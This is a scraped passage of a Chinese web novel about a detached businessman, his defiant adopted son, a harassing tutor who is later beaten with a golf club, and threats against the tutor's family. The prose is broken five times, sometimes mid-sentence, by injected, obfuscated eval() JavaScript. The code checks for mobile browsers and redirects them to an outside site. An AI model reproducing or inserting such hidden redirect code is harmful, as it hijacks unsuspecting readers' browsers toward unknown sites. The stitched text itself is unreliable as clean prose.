这孩子怎么连装可怜都这么没轻没重?苏廷颇有些无奈地说:“从法律层面上来讲,如果我现在赶你走,也是犯的遗弃罪,这个世界不是任你想象的那样运行的。” 这下叶修明踏实了,但一说到法律,叶修明马上询问:“你跟律师开会,是卷进官司了?” 苏廷愣了愣,没想到叶修明会提起这个话题。律师来还是为了斩清五年前顾见清造下的孽,殊不知天大地大,有些东西是永远抹不掉的。 网络上那些照片像在无性繁殖一样越来越多,多到连安眠药都没办法完全安抚苏廷的神经,每当闭上眼,就能想起自己的艳照正在谁的电脑里被欣赏,而造成这一切的始作俑者顾见清,连个道歉都没有。 苏廷不想让叶修明知道世界还有腌臜的那面,所以随便扯了个谎,只说是项目上法律咨询的事情,他一笑置之:“修明,大人的事情小孩要少操心。” “我已经不是小孩子了!”叶修明反驳。 苏廷的长指揉着眉心:“你这么吵,看来礼仪老师要加把劲了。” 叶修明:“如果你这么嫌弃我,当初就不应该把我带回家!我只要砸开河面,就马上能幸福了!苏廷,你休想用狗屁礼仪把我框住!” 说完,叶修明不解气地冲到苏廷的身前,嗷的一个大嘴就啃上苏廷的手背,苏廷是个体质很弱的人,平时又极其怕疼,被小兔崽子的牙关一咬,简直都要魂飞魄散了。 莫大的豪宅内,苏廷的哀嚎在余音绕梁。 “啊——”“你放开!” 叶修明的嘴是放开了,脑袋却像颗子弹头一样顶向叶修明的腹部,搅得他肠子都乱了。 “叶修明!你太放肆了!” 苏廷低喝,表情简直可以用花容失色来形容。 没想到叶修明的眼神里多了些不属于这个年纪的狠戾,抬起头毫不惧怕地凝视着苏廷,用行动告诉苏廷,想要用“规矩”困住他是不可能的。 所以叶修明喜提礼仪课集训一整个月,什么时候纠正了身上的那些乖张,什么时候才去上学。 这天,叶修明正盯着投影的课件转笔、发呆,空气中很快划过一道美丽的弧线,一支笔砸在了叶修明的头上,让他嘶声叫嚷。 “喂!你也太过分了吧!小心我把你开了!” 苏廷不知是何时返的家,反正是恰巧听见叶修明口出诳语,人抵着门柱:“叶修明!住口。” 叶修明恶狠狠地瞪了眼幸灾乐祸的施方逸,为自己辩解:“是他先体罚我的。” 施方逸装作无辜的小白兔,面对苏廷,委屈巴巴道:“怎么可能,你看我像是那种人吗。” 苏廷摇摇头,“施老师的做派我还是了解的。” 叶修明:“你你你!你个傻子!” 施方逸用那种难辞其咎的表情说:“虽然我们已经学了基本的礼仪,包括不能说脏字等等,但是……”他斜睨着叶修明,“小孩子嘛,心智还不健全,难免会有不受控的情况,苏先生你放心,我会用我毕生所学纠正他的。” “你先纠正自己的爸妈别生下你来最好!”叶修明毒舌归毒舌,他还是朝苏廷所在的方向瞥了两眼。 施方逸“哈哈”一笑,“看看,小孩子心性。” 叶修明只觉得牙根痒痒,缺个东西磨一磨。 就当他想真咬施方逸一口时,苏廷预判到了他的行为,一手将他抄了起来,少年的骨骼轻盈,抱起来毫不费力,等他跟施方逸的安全距离足够远时,苏廷才将桎梏他的手收回来。 “别闹了。” 叶修明有些不忿地看他:“苏小爸,难道你想要的就是流水线生产出来的乖娃娃吗?那我告诉你,我做不到。” 苏廷转身,神情似长空皓月,“那就争取做到。” 第二天清早,施方逸满脸谄媚地到了家里,与往常不同的是,叶修明不仅穿着正式,连头发都做了定型,见到施方逸这个冤家,也没上去拿牙咬,而是毕恭毕敬地尊称他一声“老师”后,落座认真听讲。 施方逸随手把自己的杯子装满水,放在茶几上,润了润喉咙就开始一天的教学。叶修明假装在笔记本上涂涂写写,其实只是在随便画圈圈,他深知扮演好学生的精髓在于表情,一会儿皱眉,一会儿又了然地展眉,连施方逸都惊了。 此时,整理好自己的苏廷从卧室踩着拖鞋走来,叶修明掐指一算,知道这是苏廷起床冲泡咖啡的时间,于是不怀好意地看了施方逸一眼,再一脚把他的杯子踹了下去。 “小兔崽子!你活腻了是吧!” 单从这两句话来听,就好像是伪善的人乍然撕开伪装,有种瓤子里子全都破败的感觉,苏廷偷偷观察着叶修明,发现他摆出一副楚楚可怜的样子,还抱着头保护自己。 “施方逸,你给叶修明的课程就到此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035950|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为止吧,好走不送。” 苏廷冷漠地掀起眼皮,疲懒地瞧着他。 他还敞着长款黑色睡衣,同色系睡裤松垮垮地垂着,露出一小截美丽的人鱼线,紧致结实的肌肉在睡衣下若隐若现,堪称好春光。 施方逸似乎并没有听进去,而是走到苏廷面前,勾唇一笑:“借一步说话?” 苏廷疑惑地看着他,“是费用的事?我马上给你开支票。” “那倒不是,”施方逸用指尖点着卧室正门,“去那比较方便。” 苏廷警惕地退后一步。 “开门,送客。”苏廷朝门口的佣人喊了一声,她旋即就开了门。 施方逸竟再次逼近春光乍泄的苏廷,目光由下至上地滚动一遭,说道:“比照片上好看多了。” 苏廷反应了一会儿他到底是什么意思。 在确认他就是那个意思之后,苏廷立刻拿出手机,准备报警,不想施方逸一把抢过他的手机,大拇指按向苏廷的喉结,说:“不是挺骚的吗?骚给我看看。” “请你放尊重一点,我可以让你在整个金城都混不下去。”苏廷威胁道。 “混不下去?混不下去的是你吧,苏总,你的脸皮真就这么厚?” 叶修明早就嗅出空气里弥漫的不对劲,又祭出他的咬手大法,稳准狠地直逼施方逸的手而去。 这次惨叫的人换成了施方逸。 叶修明一边咬,一边用腿轮流踢向施方逸的下腹,施方逸也不是吃素的,眼见他的手有破皮的风险,忙不迭地顺势下拉,当叶修明重心不稳的时候,施方逸快速推了他一下,倒了。 叶修明砸在地上的时候发出了混重的声音,让苏廷瞳孔紧缩,可他的好教养已经不允许他做出超出逐客令之外的举动,苏廷压抑着心中的难平,目如怒电,低斥:“施方逸,你已经达到了羞辱我的目的,现在可以走了吗。” 施方逸朝苏廷点了又点,“行,苏廷,我记住你了,咱们走着瞧。” 苏廷冷冷地说:“好。” 施方逸走了。 苏廷连忙将扔趴在地上的叶修明扶了起来,关切道:“你没事吧。” 叶修明揉着摔疼的膝盖,“为什么放他走,为什么不揍他一顿?” 苏廷淡然而冷感地摇了摇头,“你还是小孩子,不懂世界的运行法则。” “你可以教给我。” “这是个弱肉强食的世界,有的人只能任人宰割。” “你不是其中一个,对吧。”叶修明问。 苏廷一笑:“对,我只会吞并弱小。” 叶修明不依不饶:“但我看你刚才明明是被别人欺负啊。” 苏廷哑口,眉宇间有淡漠,是被揭穿后的伪装。 叶修明还在继续探究刚才对话的疑点:“他说的照片到底是什么意思?你拍了什么照片?” “施方逸的确把你教得不够好,随意打探别人的隐私也是不礼貌的。” 苏廷的前尘是一块巨大的伤疤,募地揭下,一定会血肉模糊。 “礼貌就那么重要吗?”叶修明说,“你真想让我变成只知道礼貌的假人?” 7. 第7章 “我不是这个意思。”苏廷松了口,认真说道:“礼法会让你更好地适应规则,这才是人生最重要的一课。” 叶修明直接烦了,说:“你还真以为自己是爹啊。” 苏廷知道他在故意激怒自己,脸上有不着痕迹的微愠,只道:“我是你法律意义上的爸爸,不就是爹吗。” 叶修明:“那你还想怎么办,再找个家庭教师过来恶心我?” “你寸步不离地跟着我一个月,我亲自教你。”苏廷说。 叶修明不得不答应。 才跟着苏廷学习两天,叶修明就发现在家摔倒那一跤,他能被苏廷扶起来是多么不容易。因为在同样的地点,当他不小心绊倒时,苏廷只是面色忧郁地、疏离地审视着他。 在这个家里,美好的人情味去哪了? 除了严苛的教导方式,苏廷还给叶修明定下清晰的界限和极高的要求。 “晚上8点以后不要到书房,12点以后不要到我的卧室。” “我跟你的衣服必须分开洗。” 此外还有在家必须轻声细语、勤说谢谢,在外守礼谦逊、多要鞠躬,总之,要活得憋屈点,再憋屈点。 叶修明有苦难言,更何况苏廷与他的情感交流几乎为零。 像他这样年纪的孩子,正是需要父母关爱的时候,然而亲生的不要他,领养的不鸟他,如果他当时真的垂直入水坑,也有一了百了的优势。 也许他需要找到更多的同龄人? “苏小爸,我想去儿童乐园玩。”叶修明清眸忽闪着,任谁看了都觉得秀丽可爱。 显然,苏廷没想到叶修明都马上读中学了还要找小屁孩的乐子,震惊都不足以形容他此刻的心情,他当时正在擦拭珍藏很久的罗马金币吊坠,闻声也慢待了这枚硬币,微微张着嘴巴。 “你等我缓一会儿,让我考虑考虑到底要不要让周叙白给你安排到学前班去。”苏廷说,“你为什么想去儿童乐园?” “我没有朋友,想去交朋友。” “你还有这种需求?”苏廷问。 “狗都有这种需求,”叶修明实话道,“你难道没有吗。” 苏廷的社会关系可以用极简来形容,周叙白替他省掉了很多跟别人斡旋的时间,除了工作相关,就是那些个撞了南墙也不回头的追求者。 主动去寻求感情的慰藉,对于苏廷来说有点遥不可及,他宁愿花时间好好建构自己的肌肉,让线条更加流畅,也不愿把时间浪费在虚与委蛇上。 他经常幻想自己在最终弥留的时候,是孑然孤身的,如果有人吊唁,也务必是那些恨自己的人。只有仇恨才会让他确信自己的强大,即使到老,即使到死。 “我不仅没有这些需求,也想阻止你有。”苏廷无情无绪地说,“你如果想得到更多的情感回馈,我试着去做就好了。” “可我跟你有代沟,你都比我大了十六岁。” 苏廷微眯着右眼,“怪你自己太小。” “怪你太老。”叶修明顶嘴,顶完就发现—— 本来可以延迟入的学,让苏廷一个电话就把自己扔了进去。叶修明是被苏廷亲自送来上学的,本来一切都还能接受,直到苏廷从后备箱取出一个炭黑色的行李箱,叶修明不解:“为什么要给我箱子?” “因为这是寄宿学校。” “苏廷!你让我小学就住学校?!” “怪你自己太小,才上小学。”苏廷整理着深海藏青色西装的衣襟,从善如流地绽出胜利者的微笑。 “我明年就读中学了!” “嗯,那你到时候就是住校的中学生了。”苏廷开着玩笑,心中全是彻底摆脱叶修明的喜悦,他指着行李箱:“这些都是新买的衣服。”他手机丢给叶修明:“有事情打电话,走了。” “可你的电话是多少?”叶修明眼见苏廷就要消失在视野范围,难过充斥着大脑,让他难以思考。 “快捷键1就是我。”苏廷朝后摆了摆手,“祝你好运!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035951|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好运你大爷!” 叶修明简直气疯了,顿时伸手拉住一辆出租车:“跟着前面那辆车。” “小朋友,玩飞车追贼是吧,你带够钱了吗?” 苏廷在情感上冷漠疏离,但是该给的钱只多不少,叶修明从衣兜里随便一掏,就是几张百元大钞,司机这才心满意足,一脚油门轰了出去。 苏廷的注意力全在其他地方,自然没注意他的车被紧跟了,他拨通周叙白的电话,说:“他现在在哪。” “在西郊工业园区,那栋蓝色的厂房。”周叙白说,“今天是叶修明上学的日子?怎么样?孩子没有哭闹吧。” 孩子、孩子……全是孩子,苏廷心中的腹诽让他晃了晃神,差点急刹一脚后撞着前车。“我看他接受得挺好,别问他了,没劲。” 周叙白:“你准备对他做什么?” “做什么?现在他天天住校,我是眼不见心不烦。” “我是说厂房那个。”周叙白笑道,“你魔怔了吧,看来你对这个儿子也不是一点感情也没有啊。” “……” “当然了……我不是说那方面的感情。” 简直越描越乱。 苏廷皱了皱眉头,“你到底在不在西郊。” “在,施方逸就在我脚下求饶呢。” 苏廷掉头就往西驶去,后车的司机见状也趁乱掉头,寸步不敢离地跟在苏廷的后边,这司机开车左冲右撞,差点让叶修明把早饭都吐出来。 “师傅你慢点!” “是你要追的人越开越快,这都马上超速了……”司机心有余悸,“这得加钱。” 叶修明拍了拍司机师傅的肩膀,“钱我有的是。” 很快,这场追车的游戏停止在接近十一点的郊区,叶修明给师傅车钱后,就偷摸下了车,向苏廷停靠的位置挪去。 苏廷还没跟周叙白通完电话,边走边说:“他情况怎么样?” “这个施方逸,嘴还挺严实,根本撬不开。” 8. 第8章 苏廷这才像想起什么似的,活动着指节,走到车尾处踢开了后备箱,目睹这一切的叶修明突然想看看苏廷到底在干什么,并没上前打扰,只见苏廷目光烈烈地拿出高尔夫球杆,朝空气中挥舞了两下,朝着蓝色厂房而去。 那盏厚重的铁门打开的瞬间,光柱下的灰尘胡乱飞舞,里面阴黢黢的,很快躺在地上被绑的施方逸就入了苏廷的眼。 现下,施方逸与他狂妄的时候差异很大,是个坐以待毙的姿势,待他从强烈的光晕下辨别出苏廷的脸,饶是再瞧不起他本人,也要被这看起来像是施暴者的气势吓倒八分。 “你们……到底想干什么?”施方逸的脸上是血色与泥土相混合的颜色,惨淡至极,“我没什么好隐瞒的,你们到底想逼我说什么?” 苏廷从西装口袋里摸出两个半指皮手套,手指缓缓插-入,再将高尔夫球杆挥到半空,说:“是谁指使你过来恶心我的?” “嘭!” 苏廷下手有点没轻没重,这不,还没开始真正上硬菜,苏廷就已经打到施方逸的脑袋,连周叙白都跟着微微抽搐一下。 施方逸显然被这球杆打得有点头晕,缓了好半天才从一片混沌里挣扎出来,“我说了!没有这个人!我只是单纯地讨厌你这种道貌岸然的人而已!” “凭什么你能像什么都没发生一样?凭什么你还身居高位?对我颐指气使?凭什么?苏廷我告诉你,今天如果我活着出去,一定要把你告到倾家荡产!” 苏廷“哦”了一声,“那就让你去死。” “你那天不是装得挺好的吗?为什么不一直装下去了?是因为那小子看不见了对吧?苏廷,你真虚伪,真小人。” 苏廷毫无触动。 门外的叶修明却仿佛身置幻境,脚底软飘飘的,活像个游魂,他的养父竟然滥用私刑?!打起人来也是丝毫不留余地,恨不得当场把人打伤打残,那他之前忤逆苏廷的那几次,苏廷是不是连杀他的心都有了? 太可怕了。 他幼小的心灵此时像被活剐了一样,脊背也渗出一层冷汗——他今天逃课了,没去学校报道,苏廷知道了会不会也给自己一棒子? “妈呀——”叶修明跑得斜斜扭扭的,不一会的工夫人就彻底消失在西郊。 苏廷的酷刑还在进行,施方逸的嘴撬不开,那他就旁敲侧击,看他的反应,他说:“你是顾见清派来的?” 施方逸:“顾见清是谁?老子从来都不认识。” “你不认识顾见清,那认不认识远在龙城东湖区望川路上的一对夫妇?” 施方逸一愣,那是他老家的地址。 “你对他们怎么了?!快说!苏廷你个孬种,你竟然用我的亲人来威胁我!” 苏廷的笑转瞬即逝,打开事先准备的视频,公放给施方逸。 视频中是苏廷温文尔雅地向二位老人打探路线,有一搭没一搭地聊着,倒有种岁月静好的感觉。 “好!我说!就是顾见清让我过来的,他想知道你的近况,又不好直接问你,你不是也把他的联系方式都删了吗。” 苏廷几不可察地晃动了下-身子,他本以为这个名字再难起波澜,谁想到他依旧会为“顾见清”三个字感到心痛。 “那你说的那些话,也是他想对我说的吗。” “倒也不是,顾见清对那事心怀有愧,本来是想让我传话道歉的,可我也看了那些照片,我觉得你就是天生下贱,说就说了,我不后悔。” “嘭!” 又一暴击直接对准施方逸的后脑,施方逸目不斜视地强忍着痛苦。 苏廷没打算真把他弄死,只是抒发那天的郁愤而已。 也就是那天,让苏廷下定决心要把叶修明送到寄宿制私立学校,这才是最好的界限感。 等养他到大学毕业,再给笔钱安身立命,他就能彻底摆脱那双好奇的眼睛了。 谁也不曾想,这边的事情还没处理完,他就接到了学校打来的电话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035952|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喂,请问是叶修明的家长吗?他今天迟到了两个多小时,下次要注意哦。” 苏廷的眸光暗了下去。 他又借着这股蛮劲,抬腿给了施方逸一脚,“如果把今天的事情透露给警察半个字,我会让你们全家陪葬。” “沉塘就不错,你觉得呢。” 施方逸感到一阵恶寒从脚底穿心而过,他知道纵使自己有再大的意见,也不敢用父母的命去赌,这棋局胜负已定,赢家的脚理当踩着输家。 “顾见清跟你到底什么关系。” “他是我表哥。”施方逸笑笑:“这些年他也不好过,不像你,生意做得这么大,连保镖都找的这么帅的。” 周叙白咬着后槽牙:“我不是保镖……还有,顾见清当初把苏廷的钱和公司全都卷走,这才五年就全都祸害完了吗?苏廷的那些资金足够他吃一辈子!他有什么不好过的!” 周叙白说到激动处,明显有些不能自持,好的坏的全骂了个遍,顾见清这个毒瘤在苏廷陷得最深的时候翻脸不认人,让他遭受了断崖式地狱式的分手方式,毕竟没有谁能在人财两失之后还失掉名声的。 那些照片……周叙白艰难地看过几次,都是律师取证时不小心入他眼帘的,至今都让他心悸,甚至心痛,如今顾见清还有什么脸面说他对不起? 他甚至不是亲自道歉,而是派了个毒舌弟弟。 苏廷看出来周叙白已经到达忍耐的极限,睥睨着施方逸。 他拉着周叙白的手,说:“我们走吧。” 这次换作是周叙白难忍愤怒,用脚勾起球杆后伸手握住,然后一下、两下……十下…… 施方逸被打得后背已经在抽搐,有些地方还有血迹渗出,但周叙白像是下定决心想把他弄死,最后施方逸终于承受不了剧痛,晕厥了过去。 苏廷还没见过周叙白有这么任性妄为的时候,不由得抬高下巴,微翘的鼻子弧度更美,“原来孩子他大爸还有这一面,刮目相看。” 9. 第9章 周叙白的眼眸里闪现出一丝慌张,“那都是叶修明的童言童语,别放在心上。” 苏廷脱下半指手套,葱白细嫩的双手出现手套的压痕,他用手揉着,鼻梁微微一抽,蹙眉:“这人的血都是臭的。” “哦说到孩子,周叙白,我先走一步,施方逸就交给你了。” 苏廷等到午饭的时间给叶修明打去电话:“现在,到学校后门。” 叶修明背皮一紧,“我、我、我……我还要午休,不能去。” “那罚你周末、节假日都在学校待着。” “好——我去,我去还不行吗?”叶修明感到自己这次是离死不远了,他是亲眼看见班主任给苏廷打电话的。 学校的浓荫步道植被种类繁多,每移一步,都有不同的景致。 只是当北风灌进叶修明的外套后,他冷冰的心就要碎了。 就在他想随时拔腿就跑的时候,苏廷那深色的影子便招了招手,他用坚实瘦长的腿踩着铁门,自带着冰姿仙风,在叶修明心里却是把黑色的砍刀。 “苏……苏小爸,你来找我有什么事?” “这是你第一天在金城上学,我应该过来问问你适不适应,有没有缺东西。” 苏廷笑着说。 叶修明心想算了吧,他缺的东西拿后备箱的高尔夫球杆补上吗?他屁股还没那么痒痒。 “不缺……不缺的苏小爸,你别担心,没什么事我就回去了。” 叶修明心虚地后撤一步,苏廷显然看见他退一步的样子,不自觉地舔舐着嘴唇,“为什么突然怕我。” 难道是在学校里听到了同学传出的消息? 如果真要细究起来,苏廷这辈子树的敌也有不少,其中不乏有像施方逸这样被当沙包打的,人嘛,总会将社会关系网像病毒一样散播出去,无论是谁听到过他的暴虐无度,他都不觉得惊讶。 叶修明只一味地忙着否认:“我没有怕你,我只是……突然有礼貌了。” 苏廷心想他在放屁。 “你消失的两个半小时,到底去干什么了,和什么人见了面?” 顾见清既然能让表弟过来传话,难道就不会从他的家人入手吗。 叶修明这才后知后觉地知道苏廷确实得知了他迟到的消息,如芒在背地偏过头去,“你既然都知道我逃课,为什么还来关心我,我不该挨揍吗?” “那要看你逃课去干什么。”苏廷有一丝的焦急,“是不是有你爸妈的消息了。” “没有,我只是出去吃了顿烤肉而已。”叶修明从衣服口袋里找出一张餐厅小票,“看,上面写的10点。” 苏廷将信将疑地接过小票,觉得这票上的文字和数字他看得懂,为什么拼在一起他就迷茫了——“你竟然早上吃烤肉。” 叶修明面无表情地假笑道:“因为你的减脂餐不适合小朋友,我应该增脂。” 苏廷很稀奇地看着叶修明,忽然说:“我发现你这小孩还挺有意思。” 叶修明觉得苏廷是打人打爽了,看谁都有意思。但抱一丝,他人生阴影是苏廷给的,而且就在那间厂房。 “我也发现你们家的小孩挺有意思。”叶修明说。 苏廷探头,“周末我来接你怎么样?” 叶修明有些犹豫,没立即给反应。 “你不会想让我每天都来接你吧,那是不可能的。” 叶修明其实想说,要不这一世他都别来接自己了,私立学校上不起他可以找家公立,没人养他就靠自己,总比死在苏廷这要好。 嗅到这丝危险不算难,但能在危险中嗅到机会,是叶修明的天赋。他扮演起一个懂事、感恩、甚至有些笨拙需要依赖的养子角色。 对苏廷毕恭毕敬,小心翼翼,努力达到他的要求,表现得无害且需要“父亲”的指引。 私下则默默观察苏廷的生活习惯、弱点、情绪波动,以及这座“堡垒”的运作规则。 他发现苏廷是个冷面的商人,主要在地产领域深耕,还有诸多其他的商业投资,是金城少有的靠自己打拼出来的巨擘。 叶修明对苏廷的过往非常好奇,询问着周叙白,问他苏廷到底是怎么从一无所有到现在这个地步的,周叙白打趣道:“难道你也想像你养父一样吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035953|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶修明心想他只是好奇而已。不过,对于这个问题,周叙白并没有告知。 周叙白当晚就把苏廷约着去酒吧小酌,人影攒动间,酒过了几巡。 “叶修明向我打听你的过去。” “什么叫打听我的过去。” 周叙白:“就是字面意义上的,他说好奇你是怎么从一无所有到今天这步的,我没正面回答。” “周叙白,怎么还让别人查到我头上来了?我让你查他的事呢。” “……”周叙白揉着眉心,“前段时间在忙施方逸的事情,忘了告诉你,我找人查遍了金城所有姓叶的人家,都没有出现跟叶修明类似的情况,所以……叶修明有可能是化名,根本没办法查。” 所以当晚回家后,苏廷故意躲避着叶修明,连正面的眼神交流都没有。 这样刻意保持的距离令叶修明感到莫名的恐慌,忙把作业拿出来摆在客厅,一边计算着数学题,一边小声嘟囔着解题过程。 他要更加勤奋刻苦并且让苏廷看到才行。 不然苏廷的极度不认可还会持续下去,以致酿成灾祸。 但苏廷对自己的真实想法究竟是什么?还在拿他当个累赘吗?还是……观察物?得负分就要敲烂脑壳的那种? 叶修明在跟苏廷面对面吃饭,晚饭是佣人做的简餐,口味清淡,叶修明故意吃得声响很大,偷偷观察苏廷的表情。 “嗯!真好吃!”叶修明吧唧着嘴,“你知道吗苏小爸,当初我在外面流浪的时候,还翻过垃圾桶呢,跟那个相比,这个简直是大餐。” 苏廷明显地顿挫了一下,也不再刷跨洋的新闻,坚硬的内心也被深深触动,柔声说:“你还想吃什么?” 他连忙补充,生怕忘了:“只要不是洋蓟就行。” 叶修明的心下略安,一说到这还真是有想吃的东西,“那天吃到一半的牛排,我还想试一下。” 苏廷颔首,“好啊,我们这就去。” 叶修明继续暗暗观察苏廷的细微表情,在苏廷正在穿外套的间隙,叶修明“无意间”蹭掉了碗筷,发出摔成稀碎的声音。 10. 第10章 叶修明装作很懵地看向苏廷,委屈地含着不多不少的泪水,“怎么办啊小爸,我怎么这么不小心……” 说着他就用手去捡瓷器的碎片,苏廷目睹他傻乎乎的动作后,大喝了一声,然后大步流星地走到他身边,接过他手里的碎片随手一扔,劝他:“家里的碗有的是,没必要把自己弄伤。” 叶修明的四肢百骸都要被这句话弄得有些瘙痒,麻意直达心间,让他慌忙说:“如果我受伤了,你会怎么办?” 苏廷没想过这个问题。 “作为监护人,我有权减少对你受伤的想象。” 叶修明似是有所触动,没来由的,想到自己如假包换的生身父母。 他的母亲是个小糊涂包,当初怀孕都是在孕晚期才发现,稀里糊涂就把他生了下来,对叶修明的关心总是浅尝辄止,似乎她更在乎自己的生活。 而叶修明的父亲,如果还能称之为父亲的话,是个极度不负责任的甩手掌柜,衣食住行必是有人操持好,想让他对儿子多点关爱,几乎是天方夜谭。 总之,叶修明得到的必要不必要的关注都很少,这也让他的性格偏于敏感和内耗,过于执拗。 如果能抓到一两个真心对他好的人,哪怕是真的葬身于他人之手,也死无足惜了。 这番心理征程必不会被苏廷知晓,所以苏廷对叶修明的怔愣感到既可气又好笑,说:“你在学校到底过得怎么样,有没有找到同龄人当朋友。” 叶修明“啊?”了一声,觉得这话题的转变有点快。 他被苏廷强行穿上学院风的羊绒大衣,长指勾住他的羊角扣,从银色扣环一穿而过,叶修明恍了半晌才说:“还没有,还在适应学校的规章制度。” 叶修明没说的是,这家私立学校是金字塔的顶端,以强权者、老钱、创业者的后代为主,梯度也差不多以这个次序,在知道他仅仅是新锐企业家的养子之后,他的同学们便露出了恰到好处的、不甚容易被观察出的鄙夷。 这让叶修明感到一丝不平。 倒不是自己被区别对待,而是苏廷被戴上了有色眼镜来审视。 从叶修明脸上一闪而过的寥落来看,他并没能如他所愿地找到朋友,苏廷立即给周叙白发了条信息。 ——看看学校是谁在欺负他,以及为什么。 Threshold的员工照例夹道欢迎苏廷,有个经理模样的人趁着苏廷到访的机会,隔着几个层级颤巍巍地向他汇报这个季度的报表,苏廷拉着叶修明的手,目若晨星地看着这位经理,并说:“你想打扰我吃饭吗?” 那经理的气息若丝:“不、不敢……” “那就是你对现在的工作岗位不满?” 经理当然想到总部去,那里离苏廷近,好升迁,苏廷就是他能向上再向上的云梯,而且他也不是别扭的性格,所以点了点头,“我想去扉合集团总部。” 苏廷可能是心情不错,没当场开了他,报了串英文字母和邮箱后缀后,说:“把简历发过来,我研究一下。” 经理立刻在心中默记,笑脸盈盈地送他到了电梯间。 许是今晚苏廷对他的关心比较明显,叶修明恢复了他那毒舌的一面,说:“苏小爸,你不会是耍他吧?那真是你的邮箱?” 苏廷唇间带着一抹笑意,“你觉得不是的理由是什么。” “因为他在错误的时间做了错误的事情,你最反感私人时间被打扰了。” 苏廷“哦?”了一声,“你观察我?” “没有没有,”叶修明忙否认,“我又不是瞎子,能看得出来。” 笃信叶修明在观察自己的苏廷这次没给对方点菜的机会,浅笑灼灼地一边指着菜单,一边反过来观察叶修明的局促不安。 “你比第一次来这吃饭变了很多。” 同样的位置,同样的彤云四起,不同的是叶修明的心境。 苏廷不解:“这段时间发生的事情里,一定有一件让你耿耿于怀,能对我坦然一次吗。” 叶修明与他的目光短暂地交会,再生硬地错开,他摸着自己被修剪得当的头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035954|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尴尬地笑了笑。 须臾才说:“苏小爸,你会打人吗?” 苏廷面生些许可疑,微微歪嘴笑着:“没有,从来不会。” 叶修明“哦”了一声,“那就好。” “你以前被爸妈打过?” “嗯……打过,可能我有很多让他们不满意的地方吧,总是达不到他们的要求。” “打得重不重?”苏廷放下菜单,郑重地问道。 “我爸那个人,下手有点没轻没重,要说打得最疼的,应该就是他。”叶修明喝了口附赠的薄荷水,润着嗓子,“我妈还好,只是在爸爸揍我的时候也不帮我。” 苏廷面露不易察觉的心疼,用他骨节分明的手攥着叶修明的,“你放心,我没有这种不好的习惯。” 苏廷没想到一顿普普通通的晚饭能得到这么多关于叶修明家庭的事情,比周叙白那个废物强多了。 这么想着想着,苏廷正歪头准备把主菜敲定时,余光就看见了傅西辞那双千年不变的白裤和白鞋。 这回他出现得早一点,手里拿的是浅黄色的白起泡葡萄酒,傅西辞说:“这次是哥德利安酒庄的,果味浓郁。歌德利安你知道的,还延续了勃艮第自希腊罗马时代以来的酿酒传统。” 苏廷淡淡地说:“我不知道。” 傅西辞冷厉的面上尬笑了一下,对他身旁的叶修明道:“小朋友这次想换什么儿童套餐?” 叶修明磨了磨牙,眼神不善地瞥了他一眼,又快速收回目光。 苏廷则说:“他喜欢吃肉,比大人吃得都多,从没点过儿童套餐。” “半路来了个这么大的儿子,去做过亲子鉴定吗?他真是你亲生的?”傅西辞说,“万一是哪个你玩过的女人看你混得不错,随便捏造的。” 看来,傅西辞这次是想攻心,本以为拉着叶修明就能挡烂桃花的苏廷,此时不得不正视叶修明的真正作用——几乎没有。 当叶修明并不能阻断这些莺莺燕燕之时,扪心自问,他苏廷还想带着这么个累赘吗? 11. 第11章 